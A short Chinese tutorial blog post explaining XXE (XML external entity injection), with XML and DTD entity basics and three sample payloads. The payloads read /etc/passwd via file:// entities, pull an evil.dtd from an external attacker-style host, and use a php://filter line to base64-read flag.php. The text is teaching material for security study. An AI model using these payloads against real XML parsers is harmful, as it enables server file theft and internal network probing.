XXE-什么是XXE

 

简单来说,XXE就是XML外部实体注入。
当允许引用外部实体时,通过构造恶意内容,
就可能导致任意文件读取、系统命令执行、
内网端口探测、攻击内网网站等危害。


XML
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

DTD

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

实体又分为一般实体和参数实体
1,一般实体的声明语法:
引用实体的方式:&实体名;
2,参数实体只能在DTD中使用,参数实体的声明格式:
引用实体的方式:%实体名;



基本利用

通常攻击者会将payload注入XML文件中,一旦文件被执行,
将会读取服务器上的本地文件,并对内网发起访问扫描内部网络端口。
换而言之,XXE是一种从本地到达各种服务的方法。
此外,在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。


构建外部实体注入

外部实体类型

方式一:直接通过DTD外部实体声明

<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY b SYSTEM "file:///etc/passwd">
]>
<C>&b;</c>


方式二:通过DTD文档引入外部DTD文档,再引入外部实体声明

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd">
<C>&b;</c>


方式三:通过DTD外部实体声明引入外部实体声明

引用攻击者服务器上的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE a [
	<!ENTITY % d SYSTEM "http://mark4z5.com/evil.dtd">
	%d;
]>
<C>&b;</c>

DTD文件内容:  <!ENTITY b SYSTEM "file:///etc/passwd">

php://filter/read=convert.base64-encode/resource=../flag.php


版权声明:本文为qq_45514735原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。